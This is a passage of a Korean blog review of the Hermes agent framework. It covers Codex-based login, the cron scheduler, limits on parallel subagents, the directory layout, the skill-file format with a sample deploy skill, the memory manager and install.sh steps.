&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1720&quot; data-origin-height=&quot;386&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2KG2C/dJMcaad1RT0/8GNgv0PlX2KHTfC5MDAKfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2KG2C/dJMcaad1RT0/8GNgv0PlX2KHTfC5MDAKfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2KG2C/dJMcaad1RT0/8GNgv0PlX2KHTfC5MDAKfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2KG2C%2FdJMcaad1RT0%2F8GNgv0PlX2KHTfC5MDAKfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1720&quot; height=&quot;386&quot; data-origin-width=&quot;1720&quot; data-origin-height=&quot;386&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1736&quot; data-origin-height=&quot;1632&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFdLWl/dJMcaiJQbwx/JFMvrFjn8WuFxKQ99d7Id0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFdLWl/dJMcaiJQbwx/JFMvrFjn8WuFxKQ99d7Id0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFdLWl/dJMcaiJQbwx/JFMvrFjn8WuFxKQ99d7Id0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFdLWl%2FdJMcaiJQbwx%2FJFMvrFjn8WuFxKQ99d7Id0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1736&quot; height=&quot;1632&quot; data-origin-width=&quot;1736&quot; data-origin-height=&quot;1632&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 꽤 오랜 시간이 걸린다&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1654&quot; data-origin-height=&quot;140&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPIXjR/dJMcacpm7Dj/5mZDo85u3RYAGZid1yJnT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPIXjR/dJMcacpm7Dj/5mZDo85u3RYAGZid1yJnT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPIXjR/dJMcacpm7Dj/5mZDo85u3RYAGZid1yJnT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPIXjR%2FdJMcacpm7Dj%2F5mZDo85u3RYAGZid1yJnT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1654&quot; height=&quot;140&quot; data-origin-width=&quot;1654&quot; data-origin-height=&quot;140&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 1분 42초 안에 완료&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2198&quot; data-origin-height=&quot;1408&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biXECI/dJMcai37T9I/frZ2OKufKVea7HCqfvtx1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biXECI/dJMcai37T9I/frZ2OKufKVea7HCqfvtx1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biXECI/dJMcai37T9I/frZ2OKufKVea7HCqfvtx1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiXECI%2FdJMcai37T9I%2FfrZ2OKufKVea7HCqfvtx1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2198&quot; height=&quot;1408&quot; data-origin-width=&quot;2198&quot; data-origin-height=&quot;1408&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 너무 심플한 프롬프트였지만 결과도 확인.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctVZJc/dJMcaiQCa4y/OYHnLdXkV4mTX83VHZfSZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctVZJc/dJMcaiQCa4y/OYHnLdXkV4mTX83VHZfSZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctVZJc/dJMcaiQCa4y/OYHnLdXkV4mTX83VHZfSZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FctVZJc%2FdJMcaiQCa4y%2FOYHnLdXkV4mTX83VHZfSZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;1024&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 15px; margin: 10px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;⚠ codex auth 선택 전 확인 사항&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex CLI(&lt;code&gt;cdd&lt;/code&gt;)가 먼저 로그인되어 있어야 한다. &lt;code&gt;codex auth&lt;/code&gt; 옵션은 Codex의 인증 토큰을 Hermes가 위임받아 사용하는 방식이므로, Codex에 로그인이 안 된 상태라면 &quot;Other providers&quot;에서 API 키를 직접 입력해야 한다.&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;( 그리고 지금은 codex에서 제3자용 구독 인증 사용(API방식이 아니라 codex 인증을 사용한 방금 위 연동 방식이라고 이해하면 될 것 같다)을 막지 않는것으로 보이는데, 이런 트렌드는 자주 변경되니... 항상 조심하고 안전하게 사용하려면 API 연동 방식을 사용하자. 나의 경우 이미 Google Antigravity는 open code로 사용하다 영구 정지 먹었다. )&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;cron 스케줄러&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;매일 아침 9시에 일일 보고서 만들어줘&quot; 같은 반복 작업을 걸어둘 수 있다. 내부적으로는 gateway가 60초마다 &lt;code&gt;tick()&lt;/code&gt;을 호출하고, 파일 기반 락(&lt;code&gt;~/.hermes/cron/.tick.lock&lt;/code&gt;)으로 중복 실행을 막는다. 결과가 없으면 알림을 보내지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/cron/scheduler.py&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;cron/scheduler.py&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 60초 폴링이라서 실시간 반응이 필요한 작업에는 맞지 않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;병렬 서브에이전트&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5zKPZ/dJMb99TvanQ/AkKllWLgvwh3k6ajCNrUVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5zKPZ/dJMb99TvanQ/AkKllWLgvwh3k6ajCNrUVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5zKPZ/dJMb99TvanQ/AkKllWLgvwh3k6ajCNrUVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5zKPZ%2FdJMb99TvanQ%2FAkKllWLgvwh3k6ajCNrUVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2032&quot; height=&quot;1118&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1118&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;하나의 작업을 여러 에이전트에 나눠서 동시에 처리할 수 있다. README 표현으로는 &quot;Spawn isolated subagents for parallel workstreams&quot;이다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub README&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 &quot;테스트 작성해&quot;와 &quot;문서 업데이트해&quot;를 동시에 돌릴 수 있다. 각 서브에이전트는 독립된 컨텍스트와 터미널 세션을 가지고 있어서 서로 간섭하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구현체는 &lt;code&gt;tools/delegate_tool.py&lt;/code&gt;이고(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/tools/delegate_tool.py&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;tools/delegate_tool.py&lt;/a&gt;), 소스코드를 보면 안전장치가 몇 가지 있다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동시에 돌릴 수 있는 자식 에이전트는 &lt;b&gt;최대 3개&lt;/b&gt;(&lt;code&gt;MAX_CONCURRENT_CHILDREN = 3&lt;/code&gt;). 에이전트가 에이전트를 만들고 그 에이전트가 또 에이전트를 만드는 무한 재귀는 &lt;b&gt;깊이 2단계&lt;/b&gt;(&lt;code&gt;MAX_DEPTH = 2&lt;/code&gt;)에서 차단된다. 자식 에이전트에서는 &lt;code&gt;delegate_task&lt;/code&gt;, &lt;code&gt;memory&lt;/code&gt;, &lt;code&gt;execute_code&lt;/code&gt; 같은 위험한 도구도 사용할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;호출은 단일 작업(&lt;code&gt;goal&lt;/code&gt;) 또는 배열 배치(&lt;code&gt;tasks&lt;/code&gt;)로 &lt;code&gt;delegate_task()&lt;/code&gt;에 넘기면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 기술 아키텍처 분석&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tFeqm/dJMcagyjipi/MewEs5JlrNKt7zanYnjN31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tFeqm/dJMcagyjipi/MewEs5JlrNKt7zanYnjN31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tFeqm/dJMcagyjipi/MewEs5JlrNKt7zanYnjN31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtFeqm%2FdJMcagyjipi%2FMewEs5JlrNKt7zanYnjN31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2006&quot; height=&quot;1094&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;언어 구성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드베이스의 93%가 Python이다. 나머지는 TeX, Shell 등이 조금씩 섞여 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://api.github.com/repos/NousResearch/hermes-agent/languages&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub API languages 엔드포인트 직접 조회&lt;/a&gt;, 비율은 직접 계산값)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;디렉토리 구조&lt;/h3&gt;
&lt;pre class=&quot;vim&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;hermes-agent/
├── agent/          # 핵심 에이전트 루프&amp;middot;메모리&amp;middot;모델
│   ├── memory_manager.py
│   ├── memory_provider.py
│   ├── builtin_memory_provider.py
│   ├── skill_utils.py
│   ├── skill_commands.py
│   ├── smart_model_routing.py
│   ├── credential_pool.py
│   └── anthropic_adapter.py
├── gateway/        # 플랫폼별 메시징
│   ├── channel_directory.py
│   ├── config.py
│   ├── delivery.py
│   ├── session.py
│   └── platforms/
├── skills/         # 카테고리별 스킬 (24+ 폴더)
├── tools/          # 도구 모듈 (50+ Python 파일)
└── cron/           # 스케줄러
    ├── scheduler.py
    └── jobs.py&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://api.github.com/repos/NousResearch/hermes-agent/git/trees/HEAD?recursive=1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub API git/trees 직접 조회&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;agent/&lt;/code&gt;가 에이전트 루프를 돌리고, &lt;code&gt;gateway/&lt;/code&gt;가 메시징 입출력을 처리하고, &lt;code&gt;skills/&lt;/code&gt;에 학습된 스킬이 쌓이고, &lt;code&gt;tools/&lt;/code&gt;에 실행 도구가 모여 있다. 역할별로 디렉토리가 나뉘어 있어서 코드를 따라가기 수월하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;UV 패키지 매니저&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;install.sh&lt;/code&gt;는 &lt;code&gt;uv&lt;/code&gt;를 사용해 Python 가상환경과 의존성 설치를 구성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 소스코드 핵심 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자가학습의 실제 구현: 스킬 시스템&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스킬은 구조화된 마크다운 파일 형식으로 저장된다. &lt;code&gt;agent/skill_utils.py&lt;/code&gt;가 YAML frontmatter를 파싱해 스킬 메타데이터를 관리한다.&lt;/p&gt;
&lt;pre class=&quot;makefile&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;# skill_utils.py 핵심 상수
PLATFORM_MAP = {&quot;macos&quot;: &quot;darwin&quot;, &quot;linux&quot;: &quot;linux&quot;, &quot;windows&quot;: &quot;win32&quot;}
EXCLUDED_SKILL_DIRS = frozenset((&quot;.git&quot;, &quot;.github&quot;, &quot;.hub&quot;))

def parse_frontmatter(content: str) -&amp;gt; Tuple[Dict[str, Any], str]:
    ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/agent/skill_utils.py&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agent/skill_utils.py&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;macOS/Linux/Windows별로 스킬이 다르게 동작할 수 있어서, 플랫폼 매핑을 코드 수준에서 관리하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스킬 파일 실물 예시&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스킬은 &lt;code&gt;~/.hermes/skills/&lt;/code&gt;에 마크다운 파일로 저장된다. YAML frontmatter에 메타데이터, 본문에 절차를 기술하는 구조다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/features/skills/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Skills 문서&lt;/a&gt;)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMXQQB/dJMcabKAYXP/KUoqq0EjHeb3tLZjn0KTZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMXQQB/dJMcabKAYXP/KUoqq0EjHeb3tLZjn0KTZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMXQQB/dJMcabKAYXP/KUoqq0EjHeb3tLZjn0KTZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMXQQB%2FdJMcabKAYXP%2FKUoqq0EjHeb3tLZjn0KTZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2008&quot; height=&quot;1104&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre class=&quot;yaml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;---
name: my-deploy-script
description: 프로덕션 배포 자동화
version: 1.0.0
platforms: [macos, linux]
metadata:
  hermes:
    tags: [devops, deploy]
    category: devops
    requires_toolsets: [terminal]
---
# 프로덕션 배포

## When to Use
&quot;배포해줘&quot;, &quot;deploy to production&quot; 등의 요청 시 활성화.

## Procedure
1. 현재 브랜치가 main인지 확인
2. 테스트 스위트 실행 (`npm test`)
3. 빌드 생성 (`npm run build`)
4. 원격 서버에 rsync로 전송

## Pitfalls
- main 외 브랜치에서 실행 시 경고 후 중단
- 테스트 실패 시 배포 차단

## Verification
배포 URL에 HTTP 200 응답 확인&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스킬은 3단계로 로드된다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Level 0(메타데이터 목록, ~3k 토큰)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; Level 1(전체 내용 로드)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; Level 2(참조 파일).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복잡한 작업(5회 이상 tool call) 완료 후 에이전트가 자율적으로 이런 파일을 생성하며, 설치된 스킬은 &lt;code&gt;/my-deploy-script&lt;/code&gt;처럼 슬래시 명령으로 자동 등록된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;agentskills.io 개방형 표준&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복잡한 작업 후 에이전트가 경험을 구조화된 마크다운 스킬 파일로 자동 합성한다. README와 공식 Skills 문서는 Hermes가 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://agentskills.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agentskills.io&lt;/a&gt; 개방형 표준과 호환된다고 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub README&lt;/a&gt; + &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/features/skills/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Skills 문서&lt;/a&gt; + &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://agentskills.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agentskills.io&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 포맷은 Anthropic이 원안을 만들어 오픈 스탠다드로 공개한 것이다. Hermes 외에 Claude Code, GitHub Copilot, Cursor, OpenAI Codex, Gemini CLI 등 30개 이상의 에이전트 도구가 지원한다. Hermes에서 만든 스킬을 다른 플랫폼에서도 쓸 수 있고, 반대도 가능하다. 스킬이 특정 도구에 묶이지 않고 개발자가 가져갈 수 있는 구조다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;메모리 관리자 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;agent/memory_manager.py&lt;/code&gt;를 보면, 기본 메모리(MEMORY.md + USER.md)는 항상 로드되고 빼낼 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부 플러그인 메모리(Honcho 등)는 &lt;b&gt;1개만&lt;/b&gt; 연결할 수 있다. 두 번째를 연결하려 하면 경고가 뜨고 거부된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/agent/memory_manager.py&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agent/memory_manager.py&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Honcho랑 다른 외부 메모리를 동시에 쓰고 싶다면, 현재로서는 방법이 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;install.sh 구조 요약&lt;/h3&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# install.sh 처리 순서 (요약)
1. OS 감지 &amp;rarr; Windows는 PowerShell로 안내 후 중단
2. UV 없으면 다운로드 설치
3. Python 3.11 설치 (UV 경유)
4. Node.js 22 LTS 다운로드
5. ripgrep, ffmpeg 패키지 설치
6. Git clone (SSH &amp;rarr; HTTPS fallback)
7. uv pip install (가상환경)
8. systemd gateway 서비스 선택 설치&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 활용법 및 통합&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자가학습의 실체 : 모델 훈련이 아니다&lt;/h3&gt;
